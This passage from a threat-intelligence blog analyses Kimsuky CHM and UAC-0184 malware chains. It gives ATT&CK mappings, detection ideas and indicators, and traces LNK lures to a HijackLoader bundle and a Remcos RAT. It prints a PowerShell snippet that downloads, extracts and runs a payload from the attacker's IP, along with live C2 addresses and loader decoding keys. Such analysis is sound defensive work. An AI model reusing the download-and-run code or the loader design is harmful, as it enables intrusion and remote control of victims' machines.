      "comment": "The query=1 payload collects computer, OS, memory, manufacturer, model and processor information."
    },
    {
      "technique_id": "T1083",
      "name": "File and Directory Discovery",
      "tactic": "Discovery",
      "comment": "The payload lists selected user and Program Files directories."
    },
    {
      "technique_id": "T1057",
      "name": "Process Discovery",
      "tactic": "Discovery",
      "comment": "The payload queries Win32_Process and records process names, PIDs and session IDs."
    },
    {
      "technique_id": "T1053.005",
      "name": "Scheduled Task/Job: Scheduled Task",
      "tactic": "Persistence",
      "comment": "The hidden Edge Updater task launches OfficeUpdater_*.ini and repeats every 60 minutes."
    },
    {
      "technique_id": "T1112",
      "name": "Modify Registry",
      "tactic": "Defense Evasion",
      "comment": "The query=1 payload changes IE first-run/association values and Edge IEToEdge RedirectionMode."
    },
    {
      "technique_id": "T1041",
      "name": "Exfiltration Over C2 Channel",
      "tactic": "Exfiltration",
      "comment": "Base64-encoded system inventory is uploaded to finalservice.php as Info.txt."
    },
    {
      "technique_id": "T1071.001",
      "name": "Application Layer Protocol: Web Protocols",
      "tactic": "Command and Control",
      "comment": "All observed stage delivery and inventory transfer uses HTTP."
    }
  ]
}

Detection opportunities

The chain creates a distinctive set of behavioral relationships.

Suspicious process ancestry

hh.exe
  |_ powershell.exe
      |- certutil.exe
      |_ wscript.exe

Later:

taskeng.exe / svchost.exe
  |_ wscript.exe
      |_ cmd.exe
          |_ powershell.exe

High-value detections include:

  • hh.exe spawning PowerShell or a script interpreter
  • PowerShell writing into %USERPROFILE%\Links
  • certutil.exe -decode operating on .dat and .ini files
  • wscript.exe using /e:vbscript on a non-script extension
  • wscript.exe spawning cmd.exe
  • cmd.exe launching hidden PowerShell
  • PowerShell combining Invoke-RestMethod with Invoke-Expression
  • scheduled-task actions that execute .ini files through wscript.exe

Host artifacts

%USERPROFILE%\Links\Link.dat
%USERPROFILE%\Links\Link.ini

OfficeUpdater_*.ini

Scheduled task:
Edge Updater

Registry artifacts:

HKCU\Software\Microsoft\Internet Explorer\Main\Check_Associations
HKCU\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize
HKCU\Software\Microsoft\Edge\IEToEdge\RedirectionMode

Network indicators

acnms[.]dmdoc[.]dynv6[.]net
118.194.249.91

aointerviews.com (potential)
51.79.185.184 (potential)
176.111.220.168 (potential)
152.32.138.15 (potential)


/smltm/bootservice.php
/smltm/finalservice.php
/smltm/checkservice.php

bootservice.php?tag=<value>&query=1
bootservice.php?tag=<value>&query=6
checkservice.php?idx=5&tag=<value>

The fixed multipart properties provide additional detection opportunities:

Filename: Info.txt
Boundary: ----c2xkanZvaXU4OTA
Form field: MAX_FILE_SIZE
Value: 1000000

ATT&CK mapping

The observed behavior maps to the following techniques:

TechniqueIDObserved behavior
Compiled HTML FileT1218.001CHM content executes through Windows HTML Help
PowerShellT1059.001Hidden PowerShell retrieves and executes code
Visual BasicT1059.005Multiple stages execute through VBScript
Scheduled TaskT1053.005Hidden Edge Updater task runs hourly
System Information DiscoveryT1082WMI collects OS, hardware and memory data
Process DiscoveryT1057Win32_Process enumeration
File and Directory DiscoveryT1083User and program directories are listed
Modify RegistryT1112IE and Edge-related values are modified
Deobfuscate/Decode FilesT1140certutil decodes the embedded VBScript
Ingress Tool TransferT1105Additional stages are retrieved over HTTP
Exfiltration Over C2 ChannelT1041Base64 inventory is uploaded to the C2

IIM Mapping

TechniqueIDDescription
Dynamic DNS AbuseIIM-T008The campaign hosted its staging, exfiltration and final payload-delivery endpoints beneath acnms.dmdoc.dynv6.net, using the DynV6 dynamic DNS service to provide a changeable domain layer in front of the C2 infrastructure
Traffic Distribution System (TDS)IIM-T017The final checkservice.php endpoint appears to act as a selective payload-delivery gate. Earlier stages were returned successfully, while the final request received HTTP 200 with an empty body despite the launcher expecting PowerShell code defining LogAction. The exact server-side selection criteria could not be determined
Geofenced DeliveryIIM-T019Considered as a possible gating mechanism, but not confirmed. Requests routed through different countries did not recover the expected final payload, and the available results were insufficient to demonstrate country- or region-based delivery decisions
User-Agent / Client FilteringIIM-T020Considered but not confirmed. The chain uses Microsoft.XMLHTTP for the VBScript stages and Invoke-RestMethod for the final PowerShell request, allowing the server to distinguish clients through User-Agent or other HTTP characteristics. No client-specific delivery difference was conclusively observed
Request Fingerprinting GateIIM-T021Considered but not confirmed. The server may evaluate request order, parameter structure, uploaded inventory, source IP or other request properties before returning the final payload. Controlled replay reproduced the expected sequence, but the responsible fingerprinting condition was not identified.
Time-Window GatingIIM-T022Considered but not confirmed. The original chain introduces a five-minute delay before the scheduled task begins and an additional randomized delay of six to twelve seconds before contacting the final endpoint. These timing values may contribute to server-side validation, but no time-dependent delivery behavior was demonstrated.

Attribution context

Kimsuky has a documented history of distributing Korean-language CHM files that display legitimate-looking decoy content while downloading script-based payloads. Previous reporting has also described CHM-based Kimsuky activity focused on collecting and exfiltrating information from infected systems. [1][2]

The analyzed sample is consistent with that broader tradecraft:

  • a Korean-language lure concerning North Korea
  • execution through a compiled HTML Help file
  • staged VBScript delivery
  • PowerShell-based follow-on execution
  • system and process profiling
  • script-based persistence
  • server-controlled payload selection

CHM-based delivery is not unique to Kimsuky and, on its own, would be insufficient for attribution.
Confidence increases, when the delivery method is considered alongside the Korean-language decoy material, the infrastructure choices, recurring Kimsuky-associated artifacts, including the characteristic web server welcome message and the implementation details observed in the code.

Any one of these indicators could be imitated as part of a deception effort.
Reproducing the full combination consistently across the lure, infrastructure, server behavior and malware logic would require a significantly greater level of effort.
Taken together, these signals provide a much stronger basis for attributing the activity to Kimsuky.

Conclusion

The most notable aspect of this chain is zhe handoff between them.

The CHM launches a hidden bootstrap.
The bootstrap retrieves a profiler.
The profiler inventories the system, uploads the result and establishes persistence.
The persistent loader introduces PowerShell.
PowerShell then contacts a final endpoint that decides whether the victim receives the operational payload.

In the analyzed environment, that last decision was negative.

The actor exposed enough of the chain to reconstruct its discovery, exfiltration and persistence logic, but the final LogAction implementation remained behind a server-side delivery gate.

That separation complicates automated analysis and limits exposure of the actors most valuable component.
It also provides us defenders with a useful lesson: an empty response does not necessarily mark the end of an inactive chain.
It could also be evidence that the infrastructure is still making decisions.

UAC-0184 Tooling Evolution: OneDrive Sideload to Remcos

by Robin Dost


Malware: HijackLoader / IDATLoader -> Remcos Agent 7.1.0 Pro
Actor tracking: UAC-0184 / MB-0005
Related analysis: UAC-0184: From HTA to a Signed Network Stack
A YARA rule for this sample is available on request: contact@robin-dost.de.

In my previous UAC-0184 analysis, I documented a loader chain built around a legitimate Plane9 application, several local payload containers and a pseudo-PNG file carrying additional stages inside its IDAT chunks.

That chain eventually unpacked a collection of signed utilities and a PassMark network component.

The sample analyzed in this article uses a visibly different delivery package and ends with a much clearer final payload.
Plane9 has been replaced with Microsoft OneDrive components, the local container names have changed and the campaign now delivers a fully configured Remcos Agent.

Underneath those changes, however, much of the loader architecture remains familiar.

The result is a useful example of tooling evolution for us: the exterior rotated, while the more expensive internal loading pipeline was retained.

Starting with the initial archive

The initial archive is named:

spisokszch.zip

with the SHA256

c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af

It contains five files:

JPG_012.jpg.lnk
JPG_013.jpg.lnk
JPG_014.jpg.lnk
spisokszch.xlsx.lnk
README.txt

Despite their names, none of the four apparent image or spreadsheet files are actual documents.

They are Windows shortcut files.

The archive therefore presents the victim with three apparent JPG images and one Excel workbook, while Windows may hide the final .lnk extension depending on the local Explorer configuration.
The accompanying README.txt is written in Ukrainian and instructs the recipient to extract the files to the desktop before opening them:

Інструкція як відкрити файли

1. Витягніть їх з архіву (розпакуйте) на робочий стіл. Якщо Ви будете відкривати їх всередині архіву, то вони не відкриються

2. Двічі клацніть по розпакованих файлах

--- EN

Instructions for opening the files:

1. Extract them from the archive to the desktop.
   They will not open if launched from inside the archive.

2. Double-click the extracted files.

This instruction is operationally useful for the attacker.

Launching shortcuts directly from an archive can behave differently depending on the archive utility and extraction context. Asking the victim to extract everything first ensures that the LNK files are placed together on disk and executed in a predictable environment.

It also gives the request a legitimate explanation: the files supposedly need to be unpacked because they cannot be opened from inside the ZIP.

Four lures, one execution pattern

Each LNK launches cmd.exe with delayed variable expansion enabled.

The command reconstructs the string:

MSXML2.XMLHTTP

from two smaller variables:

MSXM
L2.XML

It then writes a temporary VBScript that:

  1. creates an MSXML2.XMLHTTP object;
  2. performs an HTTP GET request;
  3. sets a Windows PowerShell-style User-Agent;
  4. writes the response using ADODB.Stream;
  5. saves it as a temporary .ps1 file.

The shortcut subsequently executes the VBScript through cscript, launches the downloaded PowerShell file with a hidden window and deletes both temporary files.

The effective flow is:

The split strings and wildcard-heavy Get-Command expression are not sophisticated obfuscation.
They are enough, however, to break simple searches for complete API names or common PowerShell download commands.

The four shortcuts reference four separate PowerShell URLs:

JPG_012.jpg.lnk
-> http://144.31.236.240/szch45/ritecommunion.ps1

JPG_013.jpg.lnk
-> http://144.31.236.240/szch45/shoutnewspaper.ps1

JPG_014.jpg.lnk
-> http://144.31.236.240/szch45/hintprefix.ps1

spisokszch.xlsx.lnk
-> http://144.31.236.240/szch45/collectivisationgown.ps1

The PowerShell downloaders

The recovered PowerShell stages are almost identical.

They first check whether the secondary archive already exists:

szch45clusterhum.zip

If it does not, they download it from:

http://144.31.236.240/szch45clusterhum.zip

The scripts use an obfuscated Get-Command expression to resolve Invoke-WebRequest, then save the ZIP into the current working directory.

They subsequently extract the archive into:

MSWinDistro

Finally, they execute:

MSWinDistro/ClusterHub.exe

and open one of the decoy images / document included in the downloaded ZIP.

The difference between the recovered scripts is the decoy selected after execution:

ritecommunion.ps1
-> JPG_012.jpg

shoutnewspaper.ps1
-> JPG_013.jpg

hintprefix.ps1
-> JPG_014.jpg

collectivisationgown.ps1
-> spisokszch.xlsx

The behavior can be simplified to:

if (!(Test-Path "szch45clusterhum.zip")) {
    Invoke-WebRequest `
        -Uri "http://144.31.236.240/szch45clusterhum.zip" `
        -OutFile "szch45clusterhum.zip"
}

Expand-Archive `
    "szch45clusterhum.zip" `
    -DestinationPath "MSWinDistro"

Start-Process "MSWinDistro/ClusterHub.exe"
Start-Process "MSWinDistro/JPG_012.jpg"

The scripts subsequently execute:

MSWinDistro/ClusterHub.exe

and attempt to open one of the files carrying a .jpg extension.

The difference between the two recovered scripts is the selected file:

ritecommunion.ps1
-> JPG_012.jpg

shoutnewspaper.ps1
-> JPG_013.jpg

However, the files are not valid JPEG images.
Their headers resemble deliberately corrupted or incomplete PNG signatures and standard file identification reports them only as generic data.

The PowerShell start command therefore only proves that Windows is instructed to open the files through the registered .jpg handler. It does not prove that a valid image is displayed to the victim.

No static reference indicating that ClusterHub.exe repairs or decrypts these files was identified in the analyzed loader components.
They may serve as malformed decoys, auxiliary containers or artifacts intended to create visible activity while the sideload chain starts in parallel.

Delivery and C2 on the same server

The IP address:

144.31.236.24

appears throughout the chain.

It hosts:

/szch45/ritecommunion.ps1
/szch45/shoutnewspaper.ps1
/szch45/hintprefix.ps1
/szch45/collectivisationgown.ps1
/szch45clusterhum.zip

The final Remcos configuration also points back to the same address:

144.31.236.240:27018

This means the observed server performs at least two operational roles:

HTTP payload delivery
-> TCP Remcos command and control

There is no domain, redirector or separate delivery layer in the recovered artifacts.

The shortcuts connect directly to an IP address, the PowerShell scripts retrieve the second archive directly from the same IP and the final payload is configured to use that IP for C2.

From an operational-security perspective, this is convenient but noisy.

A single infrastructure indicator links the initial downloader, the secondary archive and the final malware controller.

I’m familiar with this subnet (AS202226) and fairly confident about the provider behind this IP address: h2.nexus.
They offer cheap Windows Server hosting that can be paid for via cryptocurrency and they also support anonymous purchases through a Telegram bot.

In the last few samples i’ve analyzed they used a different Provider (Kraken-Network ISP).
This was consistent for some time now, but now we see a change, this change also has to do with the deployment of Remcos V2, because they need a Windows VPS for hosting their C2 Center.

The full chain

The complete execution sequence becomes:

Yeah, i know, the chain is long…

… but each layer solves a specific problem:

  • the initial ZIP provides the lure context;
  • the LNK files hide executable command lines behind document names;
  • the temporary VBScript performs the first download;
  • PowerShell downloads and extracts the larger package;
  • the legitimate OneDrive binary provides the sideload host;
  • local .sym and .map files hide the encoded stages;
  • the HijackLoader bundle handles modular execution;
  • Remcos provides the final remote-access capability.

Inside szch45clusterhum.zip

The second archive contains the following relevant files:

ClusterHub.exe
LoggingPlatform.dll
UpdateRingSettings.dll
monitor_base.sym
physicsdesc.map

JPG_012.jpg
JPG_013.jpg
JPG_014.jpg
spisokszch.xlsx

It also contains several Microsoft Visual C++ runtime libraries:

msvcp140.dll
msvcp_win.dll
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll

This makes the directory look like a self-contained Windows application package.

The filenames UpdateRingSettings.dll and LoggingPlatform.dll fit naturally into a Microsoft software environment. The .sym and .map extensions can easily be dismissed as symbols, diagnostics or application metadata.

The decoy files also match the names presented by the original shortcuts.

The initial lure archive contains:

JPG_012.jpg.lnk

while the downloaded archive contains:

JPG_012.jpg

The PowerShell stage starts the malware and then opens the corresponding real image.

It’s actually not only filename masquerading, it’s a complete handoff from a fake shortcut to the real decoy document.

The OneDrive disguise

ClusterHub.exe is not a custom loader built from scratch.

Internally, it contains extensive Microsoft OneDrive and OneDrive Patcher strings, including:

OneDrivePatcher.exe
Microsoft.OneDrive.Sync.Client
UpdateRingSettings.dll
LoggingPlatform.DLL

The associated DLLs also retain legitimate-looking OneDrive symbols and type information.

This gives the package a much cleaner appearance than a random unsigned executable surrounded by several encrypted payloads.

ClusterHub.exe loads UpdateRingSettings.dll, which acts as the malicious loader component. LoggingPlatform.dll is also part of the local dependency chain and appears to preserve or forward expected functionality.

The attacker therefore did not only choose a signed executable that happens to search its local directory for a DLL.
They packaged the malicious loader inside a coherent collection of OneDrive-related components.

That is the first major visual change compared with the previous sample.
The earlier chain used a Plane9 application, the new chain uses Microsoft OneDrive software.

The two files that matter

The main local payload containers are:

monitor_base.sym
physicsdesc.map

Neither file is what its extension suggests.
Both begin with large amounts of printable filler, making them appear text-like when inspected superficially.


The relevant structures are located further inside the files.
The local loading sequence can be reduced to:

This is where the similarities to the previous UAC-0184 sample become difficult to ignore.

monitor_base.sym: the small loader stage

monitor_base.sym is approximately 35 KB.

Most of its beginning consists of filler.
At offset 0x6BD8, the file contains a small structure describing the encoded payload:

Decoded size: 0x2084
Key:          0x3A12EA50

The following data is decoded by adding the key to each 32-bit value.
The result is 8,324 bytes of x64 shellcode.
No complex encryption is involved at this stage.
It is a simple DWORD addition operation.
The decoded shellcode contains several useful strings:

tapisrv.dll
IDAT
IEND
PNG
GET
http
Rtl...

The IDAT, IEND and PNG strings reveal the purpose of the next stage.
The shellcode searches for and processes PNG-style chunks inside physicsdesc.map.
The references beginning with Rtl also lead to the later use of RtlDecompressBuffer.

physicsdesc.map: another image that is not an image

The larger physicsdesc.map file is approximately 1.36 MB.
It does not begin with a valid PNG signature.
Instead, the file starts with another large filler region. The first real PNG-style IDAT chunk appears at offset:

0x4052

From this position onward, the file contains:

164 × IDAT chunks
1 × IEND chunk

Most IDAT chunks contain 8,192 bytes.
The file is not a valid image, but enough of the internal PNG chunk structure is retained for the shellcode to parse it.
The loader searches using a pattern equivalent to:

????IDAT

The four wildcard bytes correspond to the big-endian chunk length preceding the IDAT type.
The shellcode concatenates the data areas of all matching chunks and interprets the first 16 bytes of the resulting stream as metadata.

For this sample, the recovered values are:

Marker:             0xEA79A5C6
DWORD XOR key:      0x54EBEC5E
Compressed size:    0x145E3A
Decompressed size:  0x20AE58

The following payload data is XORed DWORD by DWORD using:

0x54EBEC5E

The XOR output is then decompressed using:

RtlDecompressBuffer
CompressionFormat = 2

Compression format 2 corresponds to:

COMPRESSION_FORMAT_LZNT1

The final decompressed bundle is approximately 2.14 MB.

The same loader architecture

This is the clearest technical connection to the previous sample.

The earlier chain:

The new chain:

The values changed:

  • different filenames;
  • different offsets;
  • different arithmetic keys;
  • different XOR keys;
  • different IDAT count;
  • different decompressed payload.

The architecture did not.

Both chains use:

  • a small local file containing arithmetic-encoded shellcode;
  • a larger secondary container with a printable filler prefix;
  • PNG-style IDAT chunks without a valid PNG header;
  • concatenation of chunk data;
  • fixed 32-bit XOR decoding;
  • Windows LZNT1 decompression;
  • a larger modular payload bundle;
  • execution through a legitimate software package.

This is a much more useful tracking characteristic than a filename or hash.
Hashes disappear when the sample is rebuilt.
The loader architecture requires actual development work to replace.

A 35-module HijackLoader bundle

The decompressed output contains a table of 35 named modules.

Relevant entries include:

LauncherLdr64

modCreateProcess
modCreateProcess64

modTask
modTask64

modUAC
modUAC64

modWD
modWD64

modWriteFile
modWriteFile64

rshell
rshell64

ti
ti64

CUSTOMINJECT
CUSTOMINJECTPATH

PERSDATA

The module names expose the frameworks modular design.

There are separate 32-bit and 64-bit components for:

  • process creation;
  • scheduled-task execution;
  • UAC-related functionality;
  • Windows Defender interaction;
  • writing files;
  • reverse-shell execution;
  • custom injection.

The observed format is consistent with HijackLoader, also tracked as IDATLoader.

The IDAT container is therefore not an isolated packer trick.
It belongs to a wider modular loader framework that can deploy different components and final payloads depending on its configuration.

Embedded PE files inside the loader bundle

The 35 module entries do not represent 35 standalone executables.

Many of them are shellcode fragments, configuration blocks or small architecture-specific routines. However, a structural scan of the fully decompressed HijackLoader bundle recovered eight complete PE files.

These files were carved from the same LZNT1-decompressed bundle described above, not from the final Remcos payload.

Embedded PEArchitectureInternal role or identification
tcpvcon.exex86Microsoft Sysinternals TCPView Console
FIXEDx86Info-ZIP-based archive utility
LauncherLdr64x6464-bit launcher component
tinystubx8632-bit execution stub
tinystub64x6464-bit execution stub
tinyutilitymodule.dllx8632-bit utility DLL
tinyutilitymodule64.dllx6464-bit utility DLL
CUSTOMINJECTx86 GUIHearthstoneDeckTracker.exe, likely used as the CUSTOMINJECT host

These files were carved from the fully decompressed HijackLoader bundle, not from the final Remcos payload.

Seven of the eight PE offsets correspond directly to entries in the recovered 35-module table.
The exception is tcpvcon.exe, which is stored near the beginning of the decompressed bundle before the named module data.

The first embedded executable is the legitimate Microsoft Sysinternals TCPView Console utility. Its original strings and license resources remain intact, including:

Usage: tcpvcon [-a] [-c] [-n] [process name or PID]

The module named FIXED contains Info-ZIP strings and appears to be a bundled or modified ZIP command-line utility.

The remaining binaries form part of the loaders execution and injection framework, with separate components for 32-bit and 64-bit systems.

The final carved PE is a legitimate copy of HearthstoneDeckTracker.exe. Its placement within the bundle suggests that it may be used as a host process for the loaders CUSTOMINJECT execution path, rather than being the injector itself.

Importantly, this executable is not the final Remcos payload!
Remcos is stored separately in an encrypted tail region and only becomes a valid PE after applying the repeating 200-byte XOR layer and removing the leading key area.

This distinction shows that the decompressed stage is not simply a packed RAT. It is a complete deployment framework containing legitimate utilities, architecture-specific loaders, execution stubs and a signed host process for custom injection around the separately encrypted final payload.

A retained internal deployment path

One configuration value is especially interesting:

%windir%\SysWOW64\input.dll

The same destination also appeared in the previous UAC-0184 sample.
In the earlier chain, input.dll belonged to the PassMark-based execution stack and was deployed together with VSLauncher.exe.
The new loader bundle again contains the same input.dll path.
This is a stronger tooling connection than the generic use of DLL sideloading.
The external software stack changed from Plane9 to OneDrive, but part of the internal deployment logic remained intact.
That is often how real tooling evolution looks.

Operators rotate the components most visible to defenders while retaining internal routines, path conventions and loader modules that continue to work.

The final encrypted region

The modular bundle contains another encrypted area of approximately 514 KB.

Its first 200 bytes form the XOR key.

Applying those 200 bytes cyclically to the complete encrypted region turns the key area into zeroes. A valid PE file begins immediately afterward at offset:

0xC8

The recovered executable identifies itself as:

Remcos Agent 7.1.0 Pro

Unlike the final stage in the previous sample, this leaves little ambiguity about the intended capability.
HijackLoader handles staging and execution.
Remcos provides the remote-access functionality.

Recovering the Remcos configuration

The Remcos executable contains a resource named:

SETTINGS

The resource uses RC4 encryption and follows a simple structure:

1 byte      key length
62 bytes    RC4 key
remaining   encrypted configuration

Decrypting the resource produces 58 configuration fields.

Relevant values include:

C2:               144.31.236.240:27018
Install filename: remcos.exe
Mutex:            Rmc-X5JFP2
Log filename:     logs.dat
Screenshot path:  Screenshots
Microphone path:  MicRecords

The key difference from the previous sample is the presence of a clear, statically recoverable controller.
The earlier PassMark-based bundle did not expose an unambiguous external C2 endpoint in the analyzed artifacts.

This Remcos configuration does:

144.31.236.240:27018

The address is the same server used by the LNK shortcuts and PowerShell downloaders.

The decoy material

The secondary archive includes three image files:

JPG_012.jpg
JPG_013.jpg
JPG_014.jpg

and one spreadsheet:

spisokszch.xlsx

The Excel sheet spisokszch.xlsx is an internal Ukrainian military roster of AWOL/desertion cases (СЗЧ): 39 soldiers with names, ranks, AWOL dates, order and criminal case number and status.
In this redacted version, all names, case/order numbers and unit IDs are removed by me, since I don’t know if this file is authentic.

These file names correspond directly to the initial LNK lures.
The recovered PowerShell scripts explicitly open either JPG_012.jpg or JPG_013.jpg after starting ClusterHub.exe.
The images therefore serve as visible decoys.
The spreadsheet is a valid workbook containing a single sheet with 108 used rows.

Its content relates to Ukrainian military administration and includes fields such as:

  • military rank;
  • full name;
  • date of unauthorized absence;
  • date of return;
  • appointment and result order numbers;
  • referrals to the State Bureau of Investigation;
  • ERDR case information;
  • current location or status.

The workbook contains personal information, so individual rows and names are intentionally not reproduced here.
The targeting context is nevertheless clear.
It relates to Ukrainian military personnel and unauthorized absence cases.
The document may have been created as a tailored lure, modified from an existing document or reused after being obtained elsewhere.
The artifact alone does not establish which scenario is correct.
It does demonstrate that the delivery package was prepared for a specific Ukrainian military-administrative audience.

What changed from the previous sample?

The tooling evolution becomes easier to see side by side.

ComponentPrevious sampleNew sample
Initial lureLNK leading to gated HTA stagesZIP containing four document-named LNK files
First downloaderbitsadmin / mshta.execmd.exe → temporary VBScript → PowerShell
Delivery server169.40.135.35144.31.236.240
Secondary archivedctrprraclus.zipszch45clusterhum.zip
Extraction directory%APPDATA%\ApplicationData32MSWinDistro
Visible hostPlane9 / Cluster-Overlay64.exeOneDrive Patcher renamed ClusterHub.exe
Loader DLLsPlane9Engine.dll, openvr_api.dll, evr.dllUpdateRingSettings.dll, LoggingPlatform.dll
Small containerkernel-diag.libmonitor_base.sym
Large containerfilter.binphysicsdesc.map
Container designFake prefix plus PNG IDAT chunksFake prefix plus PNG IDAT chunks
Initial decodingDWORD additionDWORD addition
Main decodingDWORD XORDWORD XOR
CompressionLZNT1LZNT1
BundleEight carved PEs and PassMark stack35 named HijackLoader modules
Reused path%windir%\SysWOW64\input.dll%windir%\SysWOW64\input.dll
Final capabilitySigned network-capable utility stackRemcos Agent 7.1.0 Pro
Static C2Not recovered144.31.236.240:27018

The delivery mechanism changed more substantially than the internal decoding pipeline.
The previous chain relied on HTA files and a gated delivery path.
The new sample uses document-named shortcuts, a temporary VBScript downloader and small PowerShell stages

Once ClusterHub.exe starts, however, the chain returns to a familiar design.
This suggests that the delivery mechanism and the core loader can be changed independently.
The actor can replace the initial access package without rebuilding the complete payload framework.

Infrastructure Intelligence Model chain

The observed infrastructure and artifact flow can be represented as the following IIM chain:

[ENTRY]
spisokszch.zip
    ├── README.txt
    ├── JPG_012.jpg.lnk
    ├── JPG_013.jpg.lnk
    ├── JPG_014.jpg.lnk
    └── spisokszch.xlsx.lnk

[STAGING]
JPG_012.jpg.lnk
    └── downloads /szch45/ritecommunion.ps1

JPG_013.jpg.lnk
    └── downloads /szch45/shoutnewspaper.ps1

JPG_014.jpg.lnk
    └── downloads /szch45/hintprefix.ps1

spisokszch.xlsx.lnk
    └── downloads /szch45/collectivisationgown.ps1

[DELIVERY INFRASTRUCTURE]
144.31.236.240
    ├── hosts PowerShell stages
    └── hosts /szch45clusterhum.zip

[SECONDARY STAGING]
PowerShell stage
    └── downloads szch45clusterhum.zip
            ├── ClusterHub.exe
            ├── UpdateRingSettings.dll
            ├── LoggingPlatform.dll
            ├── monitor_base.sym
            └── physicsdesc.map

[LOADER PIPELINE]
ClusterHub.exe
    └── executes UpdateRingSettings.dll
            └── decodes monitor_base.sym
                    └── parses physicsdesc.map
                            └── reconstructs HijackLoader bundle

[PAYLOAD]
HijackLoader bundle
    └── decodes Remcos Agent 7.1.0 Pro

[C2]
Remcos
    └── 144.31.236.240:27018

(IIM view in KRAKEN)

If you want to work with the chain yourself, here’s the JSON.

Click to view Chain as JSON
{
  "actor_id": "UAC-0184",
  "attack_annotations": [
    {
      "name": "Malicious File",
      "technique_id": "T1204.002"
    },
    {
      "name": "PowerShell",
      "technique_id": "T1059.001"
    },
    {
      "name": "Mshta / signed binary proxy execution context not used in this sample; retained only for comparison",
      "technique_id": "T1218.005",
      "x_comparison_only": true
    },
    {
      "name": "DLL Side-Loading",
      "technique_id": "T1574.002"
    },
    {
      "name": "Deobfuscate/Decode Files or Information",
      "technique_id": "T1140"
    },
    {
      "name": "Embedded Payloads",
      "technique_id": "T1027.009"
    },
    {
      "name": "Process Injection",
      "technique_id": "T1055"
    }
  ],
  "chain": [
    {
      "entity_id": "e_initial_zip",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_readme",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_012",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_013",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_014",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_xlsx",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_rite_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_shout_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_hint_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_collect_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_rite_ps1",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_shout_ps1",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_delivery_ip",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_payload_zip_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_payload_zip",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_clusterhub",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_update",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_logging",
      "role": "staging",
      "role_confidence": "likely",
      "techniques": []
    },
    {
      "entity_id": "e_monitor",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "techniques": [
        "IIM-T025"
      ]
    },
    {
      "entity_id": "e_shellcode",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_physics",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "techniques": [
        "IIM-T025"
      ]
    },
    {
      "entity_id": "e_idat_stream",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_hijack_bundle",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_inputdll",
      "role": "staging",
      "role_confidence": "likely",
      "techniques": []
    },
    {
      "entity_id": "e_remcos",
      "role": "payload",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_c2",
      "role": "c2",
      "role_confidence": "confirmed",
      "techniques": []
    }
  ],
  "chain_id": "uac-0184-onedrive-sideload-remcos-2026-06",
  "confidence": "confirmed",
  "description": "Ukraine-themed archive containing document- and image-named LNK files. The shortcuts retrieve PowerShell downloaders from 144.31.236.240, which download and extract szch45clusterhum.zip, execute a OneDrive Patcher-based sideload chain, decode local pseudo-PNG IDAT containers through DWORD arithmetic and LZNT1, load a 35-module HijackLoader bundle and recover Remcos Agent 7.1.0 Pro configured for 144.31.236.240:27018.",
  "entities": [
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_initial_zip",
      "type": "file",
      "value": "spisokszch.zip",
      "x_sha256": "c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_readme",
      "type": "file",
      "value": "README.txt",
      "x_language": "Ukrainian",
      "x_lure_instruction": "Extract the files to the desktop and open them outside the archive",
      "x_sha256": "86bac1444fef0b07eec10dcd4a5859a2296954f6b5a36690dc7c27e2931b9ccc"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_012",
      "type": "file",
      "value": "JPG_012.jpg.lnk",
      "x_sha256": "bb40c9d8c217516a92a18a1bdb080a5af92cfafe81f6751dea665e3e78cb4851"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_013",
      "type": "file",
      "value": "JPG_013.jpg.lnk",
      "x_sha256": "fe38e54bedee074825eb3fcbe4824ed203876692a424e0c183e0006b31d1b7a8"
    },
    {
      "evidence": [
